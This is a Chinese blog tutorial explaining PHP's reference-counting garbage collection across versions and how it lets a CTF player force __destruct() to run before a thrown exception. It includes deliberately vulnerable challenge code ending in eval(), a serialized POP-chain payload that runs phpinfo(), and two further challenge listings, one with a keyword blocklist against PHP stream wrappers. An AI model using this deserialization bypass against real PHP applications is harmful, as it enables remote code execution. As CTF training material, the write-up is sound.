浅谈php GC(垃圾回收)机制及其与CTF的一点缘分
0x00 侠客日常(一):CTF江湖试剑
众所周知,在php中,当对象被销毁时会自动调用__destruct()方法,同时也要知道,如果程序报错或者抛出异常,则就不会触发该魔术方法。
看题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class bb{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cc{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>
很简单的一道题:
首先调用__destruct()方法-->通过num参数触发__toString()方法-->给string参数赋值,调用cc的flag()方法,实现RCE。
思路很简单,但是注意这里有拦路虎:
这里代码末尾做了异常抛出处理,就没法触发我们想要的__destruct()方法,此时该如何绕过它呢?
少侠勿慌,先练练秘笈。
0x01 侠客日常(二):修炼秘笈-php垃圾回收机制
一、初练神功
要解决上面遇到的拦路虎,就不得不了解一下php的GC机制:GC全称Garbage Collection,即垃圾回收机制。
php中,主要采用引用计数的方式来支持垃圾回收机制。简单来说,就是引用计数为0的变量可以进行回收,腾出资源。php中的变量存在于一个叫"zval"的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息:
一个是"is_ref":标识变量是否是引用集合,用于分开普通变量和引用变量。
一个是"refcount":用于确定指向此变量的个数,即引用的个数。
引用计数:每个内存对象都分配一个 refcount计数器,当内存对象被变量引用时,refcount计数器+1;当变量引用撤掉后(如执行unset()后),refcount计数器-1;当 refcount计数器=0时(数组对象为NULL),表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。
总的来说,php的垃圾回收机制存在三个版本时期:5.2之前、5.3-5.6、7.0之后,下面分别说一说:
1. php <=5.2
该版本及之前的垃圾回收机制就是单纯的使用引用计数方法。但是注意,当两个或多个对象互相引用形成循环,内存对象的refcount计数器并不会消减为0,也就就是说,此时这组内存对象已经没有被使用,但又不能回收,因此出现内存泄露现象。
2.php 5.3-->5.6
php5.3开始,使用了新的垃圾回收机制,在 引用计数 基础上,实现了一种复杂的算法,来检测内存对象中循环引用存在,以避免内存泄露。
在这些版本中,PHP把那些可能是垃圾的变量容器放入根缓冲区,当根缓冲区满了之后就会启动新的垃圾回收机制。过程如下:
如果发现一个zval容器中的refcount在增加,说明不是垃圾;
如果发现一个zval容器中的refcount在减少,如果减到了0,直接当做垃圾回收;
如果发现一个zval容器中的refcount在减少,并没有减到0,PHP会把该值放到缓冲区,当做有可能是垃圾的怀疑对象;
当缓冲区达到临界值,PHP会自动调用一个方法取遍历每一个值,如果发现是垃圾就清理。
3.php>=7.0
从PHP7的NTS版本开始,以下例程的引用将不再被计数,即 $c=$b=$a 之后 a 的引用计数也是1。
具体情况如下:
1.对于null,bool,int和double的类型变量,refcount永远不会计数;
2.对于对象、资源类型,refcount计数和php5的一致;
3.对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串被重复删除(即只有一个带有特定内容的被插入的字符串)并保证在请求的整个持续时间内存在,所以不需要为它们使用引用计数;如果使用了opcache,这些字符串将存在于共享内存中,在这种情况下,您不能使用引用计数(因为我们的引用计数机制是非原子的);
4.对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。再次,这些生活在共享内存,因此不能使用refcounting。
测试如下:
<?php
echo '测试字符串引用计数';
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
unset( $b);
xdebug_debug_zval( 'a' );
$b = &$a;
xdebug_debug_zval( 'a' );
// 输出:
测试字符串引用计数
a: (refcount=1, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'
a: (refcount=2, is_ref=1)='new string'
# 字符串引用,计数不变,&地址引用会变
echo '测试数组引用计数';
$c = array('a','b');
xdebug_debug_zval( 'c' );
$d = $c;
xdebug_debug_zval( 'c' );
$c[2]='c';
xdebug_debug_zval( 'c' );
// 输出:
测试数组引用计数
c: (refcount=2, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=3, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b', 2 => (refcount=1, is_ref=0)='c')
# 数组引用,数组本身计数加一,但数组里的键值对不变
echo '测试int型计数';
$e = 1;
xdebug_debug_zval( 'e' );
// 输出
测试int型计数
e: (refcount=0, is_ref=0)=1
# int型不计数
二、神功小成
通过如上的介绍与实验,我们可以总结如下:
1.绕过该异常抛出的方法就是通过提前触发垃圾回收机制,唤醒__destruct()魔术方法。
2.触发垃圾回收机制的方法有:(本质即使对象引用计数归零)
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
0x02 侠客日常(三):牛刀小试
上面我们知道了,当对象为NULL时也是可以触发_destruct()的,因此我们这里的话来试一下先传值给数组,之后将第二个索引置空:先构造payload:
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
}
class bb{
public $string;
}
class cc{
public $cmd;
}
$a = new aa();
$a->num=new bb();
$a->num->string=new cc();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);
得到:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将i:1修改为i:0:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
打一下:

可以看到,成功执行执行phpinfo()。
0x03 侠客日常(四):挑战群雄
知道了原理,也经过了实验,想必各位侠客们早已创出了不少独家绝学,迫不及待要一展身手了,因此在这里摆下擂台,设下题目,给各位大侠一展拳脚:
题目一:CTFShow[卷王杯]easy unserialize
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
题目二:[NSSCTF]prize_p1
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
浅谈php GC(垃圾回收)机制及其与CTF的一点缘分的更多相关文章
- JVM和GC垃圾回收机制和内存分配
JVM运行期间 线程共享 线程私有 线程共享: 方法区 堆方法区:存放可以共享数据,静态常量,类的共有方法属性字段等,可以共享的存在方法区. 堆:存放class对象 . 线程私有:本地方法栈 虚拟机栈 ...
- JVM架构和GC垃圾回收机制
深入理解系列之JDK8下JVM虚拟机(1)——JVM内存组成 https://blog.csdn.net/u011552404/article/details/80306316 JVM架构和GC垃圾回 ...
- java面试题之----JVM架构和GC垃圾回收机制详解
JVM架构和GC垃圾回收机制详解 jvm,jre,jdk三者之间的关系 JRE (Java Run Environment):JRE包含了java底层的类库,该类库是由c/c++编写实现的 JDK ( ...
- 面试官,不要再问我“Java GC垃圾回收机制”了
Java GC垃圾回收几乎是面试必问的JVM问题之一,本篇文章带领大家了解Java GC的底层原理,图文并茂,突破学习及面试瓶颈. 楔子-JVM内存结构补充 在上篇<JVM之内存结构详解> ...
- 乐字节Java|GC垃圾回收机制、package和import
本文接上一篇:乐字节Java|this关键字.static关键字.block块.本文是接着讲述JavaGC垃圾回收机制.package 和 import语句. 一.GC垃圾回收机制 GC全名:Garb ...
- 通俗易懂.NET GC垃圾回收机制(适用于小白面试,大牛勿喷)
情景:你接到xx公司面试邀请,你怀着激动忐忑的心坐在对方公司会议室,想着等会的技术面试.技术总监此时走来,与你简单交谈后.... 技术:你对GC垃圾回收机制了解的怎么样? 你:还行,有简单了解过. 技 ...
- GC垃圾回收机制详解
JVM堆相关知识 为什么先说JVM堆? JVM的堆是Java对象的活动空间,程序中的类的对象从中分配空间,其存储着正在运行着的应用程序用到的所有对象.这些对象的建立方式就是那些new一类的操作 ...
- C# GC 垃圾回收机制
今天来谈谈C# 的GC ,也就是垃圾回收机制,非常的受教,总结如下 首先:谈谈托管,什么叫托管,我的理解就是托付C# 运行环境帮我们去管理,在这个运行环境中可以帮助我们开辟内存和释放内存,开辟内存一般 ...
- asp.net 之 GC (垃圾回收机制)
今天抽时间好好整理了下GC相关知识,看了CSDN和博客园的几篇文章,有了一定的简单了解,决定根据个人理解整合一份随笔写下来,望诸位指教. 一:基础问题 1.首先需要知道了解什么是GC? GC如其名,就 ...
- GC垃圾回收机制,iOS内存管理。
问题: MRC中通过调用静态方法创建的新对象,不再使用时需要对其发送release消息吗? 不需要,因为约定静态方法创建的对象会自动将其放入自动释放池,即已对其发送autorelease消息,因此不可 ...
随机推荐
- OO_Lab2总结博客
OO_Lab2 一.单元内容 本单元内容为规格化设计,即通过参考已经完成的JML描述实现一个社交网络相关功能. 本单元整体来说难度不大,但是却是我最惨的一次作业,所以本博客可能会主要谈一谈测试中的一些 ...
- sqlserver 数据导入MySQL
sqlserver导出成Excel文件数据 为什么用Excel文件数据? sql文件不通用 CVS文件编码报错 text文件日期/时间戳报错 修改Excel文件中的日期字段 需要格式化日期字段为 yy ...
- 使用angular/cli新建一个angular项目
1.打开cmd,进入你代码保存的文件夹,你想把新建的项目保存在哪个文件夹,即进入哪个文件夹: 我把文件放到这里: 然后,使用下面的命令创建项目: // ng new 项目名称,如下示例:创建名为 he ...
- A better jump —— 优化游戏中的跳跃
之前一提起角色的跳跃,想当然的想法就是:给角色一个向上的初速,然后由Unity的物理系统接管就好了嘛,这样忽略空气摩擦的影响,根据重力加速度,角色向上跳到最高点的时间和由最高点落下的时间相等,不是很合 ...
- lc.977 有序数组的平方
题目描述 给你一个按非递减顺序排序的整数数组nums,返回每个数字的平方组成的新数组,要求也按非递减顺序 排序. 输入:nums = [-4,-1,0,3,10] 输出:[0,1,9,16,100] ...
- idea开发使用外置tomcat配置
1. 添加依赖 <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId> ...
- python random包常用函数
random.random() random.random()方法返回一个随机数,其在0至1的范围之内,以下是其具体用法: import random print ("随机数: " ...
- Markdown操作方法
Markdown学习 标题 三级标题 四级标题 字体 原本 hello,world! 斜体 hello,world! 加粗 hello,world! 斜体加粗 hello,world! 删除 hell ...
- windows用户名是中文引起的路径问题
修改成英文即可
- 工良出品:包教会,Hadoop、Hive 搭建部署简易教程
目录 导读 Hadoop.Hive 是什么 运行环境 Java 环境 Mysql 下载 Hadoop.Hive 和 驱动 安装 Hadoop core-site.xml hdfs-site.xml m ...